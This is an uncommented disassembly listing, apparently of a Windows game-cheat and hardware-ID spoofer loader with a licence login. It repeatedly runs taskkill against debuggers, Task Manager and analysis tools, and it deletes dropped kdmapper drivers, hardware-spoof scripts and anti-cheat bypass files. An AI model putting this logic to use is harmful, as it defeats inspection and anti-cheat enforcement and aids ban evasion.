lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [rbp + 0x40]
mov qword [rbp - 0x40], rax
lea rdx, [rsi + 0x104]
lea rcx, [rbp + 0x40]
call fcn.140077890
mov rbx, rax
lea rdx, [rsi + 0xd2]
lea rcx, [rbp + 0x80]
call fcn.140077890
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x1403ecf00]
call fcn.140080720
cmp byte [0x1403ecbb8], 0
jne 0x14008cc8b
mov word [rsi + 0x213], 0x101
mov dword [rsi + 0x20c], 8
jmp 0x14008cc95
cmp edi, 4
jg 0x14008cb21
lea rdx, str.Username_must_be_greater_than_4_Characters_
jmp 0x14008c587
mov rdx, r14
lea rcx, [rbp + 0x40]
call fcn.140077890
mov rcx, rax
call fcn.140077780
movzx ebx, al
lea rcx, [rbp + 0x40]
call fcn.1400777a0
test bl, bl
je 0x14008cb51
lea rdx, str.No_Password_
jmp 0x14008c587
cmp r13d, 4
jg 0x14008cb63
lea rdx, str.Password_must_be_greater_than_4_Characters_
jmp 0x14008c587
mov rdx, r15
lea rcx, [rbp + 0x40]
call fcn.140077890
mov rcx, rax
call fcn.140077780
movzx ebx, al
lea rcx, [rbp + 0x40]
call fcn.1400777a0
test bl, bl
je 0x14008cb93
lea rdx, str.No_License_
jmp 0x14008c587
lea rax, [rbp + 0x40]
mov qword [rbp - 0x40], rax
mov rdx, r15
lea rcx, [rbp + 0x40]
call fcn.140077890
mov rdi, rax
lea rax, [rbp + 0x80]
mov qword [rbp], rax
mov rdx, r14
lea rcx, [rbp + 0x80]
call fcn.140077890
mov rbx, rax
mov rdx, r12
lea rcx, [rbp + 0x60]
call fcn.140077890
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x1403ecf00]
call fcn.140081c30
cmp byte [0x1403ecbb8], 0
jne 0x14008c59e
xor eax, eax
mov qword [r12], rax
mov dword [r12 + 8], eax
mov word [r12 + 0xc], ax
xorps xmm0, xmm0
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
mov word [r14 + 0x30], ax
xorps xmm1, xmm1
movups xmmword [r15], xmm1
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15 + 0x20], xmm1
mov word [r15 + 0x30], ax
movdqa xmm0, xmmword [0x140384e10]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xd8c8c8d3
mov dword [rbp - 0xc], 0xe0a4dacc
mov word [rbp - 8], 0x100
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.14008e760
mov rdx, rax
mov rcx, rsi
call fcn.140077800
lea rcx, [rbp + 0x40]
call fcn.1400777a0
mov byte [rsi + 0x210], 1
xor r13d, r13d
mov dword [rsi + 0x20c], r13d
jmp 0x14008c5a1
mov dword [rsi + 0x20c], 1
movaps xmm1, xmm7
xorps xmm0, xmm0
call fcn.1400b3110
movaps xmm2, xmm8
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rdx, [rbp - 0x40]
lea rcx, str.Registerlog1
call fcn.1400da5b0
test al, al
je 0x14008ccce
mov dword [rsi + 0x20c], 2
movss xmm7, dword [0x140384a10]
cmp dword [rsi + 0x20c], 0xffffffff
jne 0x14008cd67
movups xmm6, xmmword [0x1403e33f8]
mov rcx, rsi
call fcn.140077790
movaps xmmword [rbp - 0x40], xmm6
lea r9, [rbp - 0x40]
mov r8b, 1
mov rdx, rax
mov rcx, rsi
call fcn.14008df10
call fcn.1400b3210
movaps xmm6, xmm0
addss xmm6, xmm7
call fcn.1400b3240
movaps xmm2, xmm0
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rcx, [rbp - 0x40]
call fcn.1400b3270
movaps xmm2, xmm8
movaps xmm1, xmm9
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, str.Exit
call fcn.1400da5b0
test al, al
je 0x14008cd67
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [rsi + 0x20c], 0
jne 0x14008d8a7
movups xmm6, xmmword [0x1403e3408]
mov rcx, rsi
cmp byte [rsi + 0x210], 0
jne 0x14008d834
call fcn.140077790
movaps xmmword [rbp - 0x40], xmm6
lea r9, [rbp - 0x40]
mov r8b, 1
mov rdx, rax
mov rcx, rsi
call fcn.14008df10
call fcn.1400b3210
movaps xmm6, xmm0
addss xmm6, xmm7
call fcn.1400b3240
movaps xmm2, xmm0
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rcx, [rbp - 0x40]
call fcn.1400b3270
movaps xmm2, xmm8
movaps xmm1, xmm9
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, str.Exit
call fcn.1400da5b0
test al, al
je 0x14008d8a7
lea rcx, str.C:WindowsSystempngbypas.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemFAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFORTNITE.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_battleye_forcer.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemEACForcer.bat
call fcn.14029da10
lea rcx, [0x14037a428]
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
lea rcx, str.C:WindowsSystempngbypas.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcleanerrandom.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcleanerrandom2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemVPN.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USPCRENAMER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_accountmaker.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USMAS_1.5_AIO_CRC32_21D20776.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_US_timedatechanger.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesWindows_Mail_nxt.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemGUIDCHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFORTNITE.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapper.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapper1.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDISK1.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem2NDMACCHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_nxt.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_nxtHWIDCHEKERhehe.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemBSODTASKPROSSES.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdeletemetounspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdeeepcleanwifisystem.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemeacunban.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFIVE_M.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDISCORDVERSION.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemBATTLENET.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemVALORANT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USFNAPEXCODCLEANER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISK1.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper1.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper.bat
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.14029da10
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_randomizermapper.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemGUIDCHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_randomizermapper.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemRANDOMIZEDISK.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_randomizermapper.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_randomizermapper.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemDSKNXTSERIALSSPOOFING.sys
call fcn.14029da10
lea rcx, str.C_:Program_FilesCommon_FilesSystem_adoNEWDriverMapper4DISK.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemGUIDCHANGER.bat
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_BSODTASKPROSSES.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemBSODTASKPROSSES.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem2NDMACCHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemIPv6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchangerdriver.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMACCHANGERdriverinstaller.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemdiffdisk12.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMappernoinsatncetype2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USWINDOWSVERISONCHNAGNER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemCODVAULECHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcountrychanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemALLVLMDRIVES.bat
call fcn.14029da10
lea rcx, [0x14037a2e0]
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemen_USmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_US2NDMACCHANGER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USIPv4.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USIPv6.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USeacunban.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USFIVE_M.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USDISCORDVERSION.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USBATTLENET.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemen_USVALORANT.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_testing.Bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.Bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_amifldrv32.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_amifldrv64.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemRANDOMIZEDISK.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemAKEUDMAPPER.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemUD.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_accountmaker.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemcolbact.dll
call fcn.14029da10
lea rcx, str.C:WindowsSysteminstallDriver.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdu.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemSpoofyyerrrerst.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemdiskDRIVE.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, str.C:WindowsSystemd.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemFIXEDV2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.14029da10
lea rcx, [0x14037b9c0]
call fcn.14029da10
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.14029da10
lea rcx, [0x14037b348]
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
lea rcx, str.C:WindowsSystemSpoofyyerrrerst.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemdiskDRIVE.sys
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdmapper.exe
call fcn.14029da10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14008d8a7
call fcn.140077790
movaps xmmword [rbp - 0x40], xmm6
lea r9, [rbp - 0x40]
mov r8b, 1
mov rdx, rax
mov rcx, rsi
call fcn.14008df10
call fcn.1400b3210
movaps xmm6, xmm0
addss xmm6, xmm7
call fcn.1400b3240
movaps xmm2, xmm0
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rcx, [rbp - 0x40]
call fcn.1400b3270
movaps xmm2, xmm8
movaps xmm1, xmm9
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, [0x14037d6b8]
call fcn.1400da5b0
test al, al
je 0x14008d8a7
mov dword [rsi + 0x20c], 3
cmp dword [rsi + 0x20c], 1
jne 0x14008d93c
movups xmm6, xmmword [0x1403e33f8]
lea rcx, [0x1403e3418]
call fcn.140077790
movaps xmmword [rbp - 0x40], xmm6
lea r9, [rbp - 0x40]
mov r8b, 1
mov rdx, rax
mov rcx, rsi
call fcn.14008df10
call fcn.1400b3210
movaps xmm6, xmm0
addss xmm6, xmm7
call fcn.1400b3240
movaps xmm2, xmm0
movaps xmm1, xmm6
lea rcx, [rbp - 0x40]
call fcn.140078e00
lea rcx, [rbp - 0x40]
call fcn.1400b3270
movaps xmm2, xmm8
movaps xmm1, xmm9
lea rcx, [rbp]
call fcn.140078e00
lea rdx, [rbp]
lea rcx, str.Exit
call fcn.1400da5b0
test al, al
je 0x14008d93c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, [rsi + 0x60]
call fcn.140077790
mov rdx, rax
mov rcx, rsi
call fcn.14008dd80
call fcn.1400ac390
mov rcx, qword [rbp + 0x940]
xor rcx, rsp
call fcn.14027f200
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret